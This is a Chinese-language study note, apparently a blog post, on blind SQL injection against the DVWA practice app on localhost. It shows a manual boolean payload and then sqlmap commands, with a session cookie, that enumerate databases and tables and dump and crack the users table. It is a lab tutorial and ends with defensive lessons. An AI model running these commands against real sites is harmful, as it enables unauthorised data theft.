Web安全測試學習筆記 - SQL注入-盲注(使用sqlmap)

 以前的sql注入頁面(http://www.javashuo.com/article/p-clbaglhr-cz.html),返回了查詢結果和錯誤信息。而下面的頁面,返回信息只有存在和不存在兩種狀況,錯誤信息頁面也被屏蔽了,這種狀況下咱們能獲得的信息不多,且須要本身判斷注入是否成功,因此叫盲注(名字很形象啊~)html

     

盲注的注入方法,簡單來講就一個字:猜 ...>_<.... 怎麼猜呢?用猜數據庫名稱長度來舉個栗子:python

輸入:1' and length(database()) = 1 #git

輸出:User ID is MISSING from the databasegithub

根據輸出,數據庫名長度不爲1,而後再猜想2,3,4。。。直到猜對爲止,而後再來猜數據庫名稱的第一個字母,第二個字母。。。直到猜到數據庫名稱算法

 

Hmmm...這樣猜來猜去很費時間啊,這種事情是否是能夠自動化一下,我都能想到,大神們早就想到了,就是這個工具:sqlmapsql

1. sqlmap介紹數據庫

這個工具是開源的,官網和github均可如下載。在使用以前,須要先安裝python環境。如下是sqlmap的自我介紹cookie

2. sqlmap啓動測試工具

打開命令行工具,進入sqlmap解壓後所在的文件夾,個人路徑是E:\...\sqlmap,輸入python sqlmap.py,看到以下信息說明sqlmap已經能夠正常使用測試

3. 用sqlmap獲取全部數據名稱

用F12看了下當前頁面,這個頁面是須要登陸憑證的,因此使用sqlmap時也要帶上登陸憑證

 輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --dbs

輸出:sqlmap拿到了全部數據庫名稱

 

4. 用sqlmap獲取當前數據名稱

輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --current-db

輸出:當前數據庫名稱爲dvwa

 5. 用sqlmap獲取當前數據中的全部表名

輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa --tables

輸出:表名爲guestbook和users

6. 用sqlmap獲取users表中的全部數據

輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa -T users  --dump

輸出:拿到表中全部數據, 還把密碼給破解了。。。不要太貼心啊~

 

 

一點點感悟:

1. 敏感信息不要用太簡單的加密算法,很容易被破解。。。

2. 用cookie存儲登陸憑證有風險,或者說會增長風險

 

如需轉載,請註明出處,這是對他人勞動成果的尊重~

相關文章
相關標籤/搜索